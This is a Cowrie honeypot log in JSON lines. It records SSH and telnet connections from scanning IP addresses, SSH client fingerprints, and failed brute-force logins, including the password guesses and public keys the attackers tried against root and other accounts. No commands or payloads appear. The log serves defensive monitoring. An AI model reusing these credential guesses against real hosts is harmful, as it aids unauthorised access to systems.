{"eventid":"cowrie.session.closed","duration":30.56658101081848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:20.210005Z","src_ip":"146.19.210.8","session":"591873d0c71c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.4297399520874,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:20.945879Z","src_ip":"152.42.224.71","session":"b9e923e1641c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":58282,"dst_ip":"10.17.0.5","dst_port":22,"session":"dab186198be7","protocol":"ssh","message":"New connection: 167.86.95.8:58282 (10.17.0.5:22) [session: dab186198be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:21.274555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:21.281926Z","src_ip":"167.86.95.8","session":"dab186198be7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:21.378081Z","src_ip":"167.86.95.8","session":"dab186198be7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20242024","message":"login attempt [root/20242024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:21.783110Z","src_ip":"167.86.95.8","session":"dab186198be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.49153709411621,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:21.939116Z","src_ip":"152.42.224.71","session":"812e45d4aa7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:22.880309Z","src_ip":"167.86.95.8","session":"dab186198be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55756688117981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:24.261076Z","src_ip":"146.19.210.8","session":"917b386e5a99","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:24.368299Z","src_ip":"47.237.167.49","session":"aea125051345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"39.6","message":"Connection lost after 39.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:27.075401Z","src_ip":"47.237.167.49","session":"aea125051345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.69981575012207,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:27.318181Z","src_ip":"152.42.224.71","session":"67aa83eedb3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50704,"dst_ip":"10.17.0.5","dst_port":23,"session":"1544386ae3bc","protocol":"telnet","message":"New connection: 152.42.224.71:50704 (10.17.0.5:23) [session: 1544386ae3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:28.644497Z"}
{"eventid":"cowrie.session.closed","duration":31.174504280090332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:31.379150Z","src_ip":"146.19.210.8","session":"b2cd62d9283f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f03be4fd502","protocol":"telnet","message":"New connection: 152.42.224.71:50708 (10.17.0.5:23) [session: 9f03be4fd502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:32.565966Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":60678,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f6fe3f7da3f","protocol":"ssh","message":"New connection: 43.173.85.181:60678 (10.17.0.5:22) [session: 6f6fe3f7da3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:39.245120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:39.249444Z","src_ip":"43.173.85.181","session":"6f6fe3f7da3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:39.316790Z","src_ip":"43.173.85.181","session":"6f6fe3f7da3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@321","message":"login attempt [root/Admin@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:39.620850Z","src_ip":"43.173.85.181","session":"6f6fe3f7da3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:40.691694Z","src_ip":"43.173.85.181","session":"6f6fe3f7da3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":57574,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d2c2e73a1ea","protocol":"ssh","message":"New connection: 186.233.184.67:57574 (10.17.0.5:22) [session: 3d2c2e73a1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.117398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.122136Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.162905Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:b7:27:06:db:22:ad:85:cb:2f:79:ec:99:03:cd:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLGBrSHIy23bz4n9aRHILYzFjK+QBGnoI+zFfOlMXubWua0em1B66ygSOQuIH4K5Tcy8oGeKlvnJj3m9+FB9PHo4nUcFucAMR6PZZWy5jIf9zsFyVZlOn6do1DsS9W8zMCBW7YV9+X3F3w5i5AitMeEpP4RAr98ALc2K5sAFIk6uowwPb/49eJe7xQky7pcMj3En83O3aFshnV0nalNGQhtOB4eRT+yw7aGpA11RRbI0q2Hcv5A1Z5jI5a93uGG/LwoJw3WM82QRCNPuNX/SucGjkN4T+UIFEmpAhdirTmR0xdkTQzl/aLY3G/Y7sKsRyvYjuKDTh9vejUju0Jz8ml","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:b7:27:06:db:22:ad:85:cb:2f:79:ec:99:03:cd:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.344204Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:b7:27:06:db:22:ad:85:cb:2f:79:ec:99:03:cd:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLGBrSHIy23bz4n9aRHILYzFjK+QBGnoI+zFfOlMXubWua0em1B66ygSOQuIH4K5Tcy8oGeKlvnJj3m9+FB9PHo4nUcFucAMR6PZZWy5jIf9zsFyVZlOn6do1DsS9W8zMCBW7YV9+X3F3w5i5AitMeEpP4RAr98ALc2K5sAFIk6uowwPb/49eJe7xQky7pcMj3En83O3aFshnV0nalNGQhtOB4eRT+yw7aGpA11RRbI0q2Hcv5A1Z5jI5a93uGG/LwoJw3WM82QRCNPuNX/SucGjkN4T+UIFEmpAhdirTmR0xdkTQzl/aLY3G/Y7sKsRyvYjuKDTh9vejUju0Jz8ml","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.347937Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:0d:d2:42:2a:72:2d:b9:f3:17:91:92:81:74:11:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2aAiIgPU4SEpiQXlvrC+XxvD2JXfxjfrk0L2SNL8nbThjmCTxVcT8ZPs6AUP8PCUVj2s26brG5nGlJ3q7WesR+0LjSmhQjny+4i3FH3hgDng3fLWGbASSRaz7DLBKKVQaTmfsNE9f2Z2RJI9M2BPgLDUctbZajjRJZGVR1kMHljGAKdJuu374BLt8V4Dy3D1IIGAw+PEvvsszwV4lzYNMYh6MNBgbKVE8lABJIxmKroIiawOzMQl5lUEne6Umx+Oez3sNsci1dmGn1tREFPdPmB8xOPVNxyFy2MJVHBxQwgkn8I7/Ap7TS0326s1AyN9/4Ch7pXOxtaiHCkV+uHph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:0d:d2:42:2a:72:2d:b9:f3:17:91:92:81:74:11:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.389261Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:0d:d2:42:2a:72:2d:b9:f3:17:91:92:81:74:11:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2aAiIgPU4SEpiQXlvrC+XxvD2JXfxjfrk0L2SNL8nbThjmCTxVcT8ZPs6AUP8PCUVj2s26brG5nGlJ3q7WesR+0LjSmhQjny+4i3FH3hgDng3fLWGbASSRaz7DLBKKVQaTmfsNE9f2Z2RJI9M2BPgLDUctbZajjRJZGVR1kMHljGAKdJuu374BLt8V4Dy3D1IIGAw+PEvvsszwV4lzYNMYh6MNBgbKVE8lABJIxmKroIiawOzMQl5lUEne6Umx+Oez3sNsci1dmGn1tREFPdPmB8xOPVNxyFy2MJVHBxQwgkn8I7/Ap7TS0326s1AyN9/4Ch7pXOxtaiHCkV+uHph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.393273Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:cb:14:44:a4:be:81:d6:8d:6d:33:ab:ef:f7:d9:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy55gqiQDpQZuT5ongfNMUFNIHaGSc9BtsZlYLBHgvjNiFfaHvHHQ4pJyePwMhIaVzDBaQg5NBhkY3Mel5v7krqun7YcCLkcQE5FT3c1L6SvtMbNNdVNM0B88e2Gpc1izvy5GCujUDf248NQCmrfJBGpgm5kpqGMGbHrlwVt13g8QJS+CBrnSWiQqMtJPCG46FNLVcK3PpAvA+xH8ta5XadPQ7q1LpukBZiDZYO5BUokxnHF4drBWbZI9UczZNroAJ8/pjBP/0VC7RKASQqNBe9yE38ZPi/J5Pfo6qjWrD0tVuQ+iQ8Ew2eguFw0LK17ullLOad0YN2WePtC5VhfJDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:cb:14:44:a4:be:81:d6:8d:6d:33:ab:ef:f7:d9:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.435164Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:cb:14:44:a4:be:81:d6:8d:6d:33:ab:ef:f7:d9:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy55gqiQDpQZuT5ongfNMUFNIHaGSc9BtsZlYLBHgvjNiFfaHvHHQ4pJyePwMhIaVzDBaQg5NBhkY3Mel5v7krqun7YcCLkcQE5FT3c1L6SvtMbNNdVNM0B88e2Gpc1izvy5GCujUDf248NQCmrfJBGpgm5kpqGMGbHrlwVt13g8QJS+CBrnSWiQqMtJPCG46FNLVcK3PpAvA+xH8ta5XadPQ7q1LpukBZiDZYO5BUokxnHF4drBWbZI9UczZNroAJ8/pjBP/0VC7RKASQqNBe9yE38ZPi/J5Pfo6qjWrD0tVuQ+iQ8Ew2eguFw0LK17ullLOad0YN2WePtC5VhfJDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.439390Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:48:00:06:d1:df:29:a6:cd:d2:91:27:bf:2b:0b:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA4u4R1IxAX63LNg6NZggXlPCToWa+rTSeFym2SYHz2aqZWVyzDzh6wB3M13d6xxuryEwnCEAD6eYfesLxr1Kqcr9USTSVrrexTpb3HjR/b2h2Kem6RYN8uZFm5YlM4SvlT87F50FW4f43dvjDKal9yE64uLNQyuuolrkQt5R0K3k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:48:00:06:d1:df:29:a6:cd:d2:91:27:bf:2b:0b:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.480851Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:48:00:06:d1:df:29:a6:cd:d2:91:27:bf:2b:0b:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA4u4R1IxAX63LNg6NZggXlPCToWa+rTSeFym2SYHz2aqZWVyzDzh6wB3M13d6xxuryEwnCEAD6eYfesLxr1Kqcr9USTSVrrexTpb3HjR/b2h2Kem6RYN8uZFm5YlM4SvlT87F50FW4f43dvjDKal9yE64uLNQyuuolrkQt5R0K3k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.484045Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:13:74:4d:05:37:22:24:7e:15:c6:b6:ac:62:20:e4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPtEofZxz0SX+MQk03EmGbtCRO7DJr//zgsqGffPEIX53ym2cHLZ72RvTaKWgc0arZbQG1E41kLTZblu2M/ZGbeyxomLwBLIDkNKofHmKMbrCr2s5VeGPbdzx5U1ObtpIjCy3OM/9GpC964JA7MX/3gxKZZKlmIno/8b1/oMSZVzAAAAFQCyUtKaY9VconxV1oelsZ2yLAPAcwAAAIAdCZGiEXZqQTFIL0q3AuXVYyrwT4+/VeG22NW4mex6QrCDemDy1AL6nKQYYsEcsN3wNAZRHaJGqoD1HLPA3hzh8M/iJjfhL4UMuXHOxBDBlGfvZi7EO/0VvHPb9+KD1MvpaChxi4mlL3tsrbmyXJaL29jUKTM38bmTwr/r9ItycwAAAIEA96Cqva5XwdJ3IZfm3eyFddaeRln88ZhRaTtklNzTXgI4f7p05azAawlLJFvxMn0q5g85D94E2FAaqjBVxl6iF2FCLtYLxuRnS2fVXkeG6fLpST1O6XMhw6QhK9/xibbgBxy2RZ0B4AKB+pDpAMUbVXC9DbbBtaSd/PC+IEg9X0s=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d3:13:74:4d:05:37:22:24:7e:15:c6:b6:ac:62:20:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.527704Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:13:74:4d:05:37:22:24:7e:15:c6:b6:ac:62:20:e4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPtEofZxz0SX+MQk03EmGbtCRO7DJr//zgsqGffPEIX53ym2cHLZ72RvTaKWgc0arZbQG1E41kLTZblu2M/ZGbeyxomLwBLIDkNKofHmKMbrCr2s5VeGPbdzx5U1ObtpIjCy3OM/9GpC964JA7MX/3gxKZZKlmIno/8b1/oMSZVzAAAAFQCyUtKaY9VconxV1oelsZ2yLAPAcwAAAIAdCZGiEXZqQTFIL0q3AuXVYyrwT4+/VeG22NW4mex6QrCDemDy1AL6nKQYYsEcsN3wNAZRHaJGqoD1HLPA3hzh8M/iJjfhL4UMuXHOxBDBlGfvZi7EO/0VvHPb9+KD1MvpaChxi4mlL3tsrbmyXJaL29jUKTM38bmTwr/r9ItycwAAAIEA96Cqva5XwdJ3IZfm3eyFddaeRln88ZhRaTtklNzTXgI4f7p05azAawlLJFvxMn0q5g85D94E2FAaqjBVxl6iF2FCLtYLxuRnS2fVXkeG6fLpST1O6XMhw6QhK9/xibbgBxy2RZ0B4AKB+pDpAMUbVXC9DbbBtaSd/PC+IEg9X0s=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.531083Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.572605Z","src_ip":"186.233.184.67","session":"3d2c2e73a1ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.72770547866821,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:42.815606Z","src_ip":"152.42.224.71","session":"b8d59a9015cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9840624332428,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:45.853504Z","src_ip":"152.42.224.71","session":"180c08ad4af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44654,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a13924c8c9","protocol":"ssh","message":"New connection: 87.251.79.125:44654 (10.17.0.5:22) [session: 62a13924c8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:46.935857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:46.940858Z","src_ip":"87.251.79.125","session":"62a13924c8c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:47.014616Z","src_ip":"87.251.79.125","session":"62a13924c8c9","protocol":"ssh"}
